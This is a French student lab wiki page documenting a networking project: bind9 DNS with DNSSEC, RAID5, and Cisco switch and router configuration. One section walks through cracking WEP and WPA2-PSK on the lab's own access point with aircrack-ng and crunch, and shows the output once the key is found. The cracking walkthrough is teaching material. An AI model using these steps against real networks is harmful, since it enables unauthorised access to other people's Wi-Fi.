===Mise en place du serveur DNS avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
Installer bind9&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Génération des clés &lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
Signature de la zone&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Description de l'installation===&lt;br /&gt;
&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
 airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
 airmon-ng start wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
 airodump-ng -c 2 wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
 airodump-ng&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
Faire pointer système de fichiers sur nos 3 disques. &lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
on met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
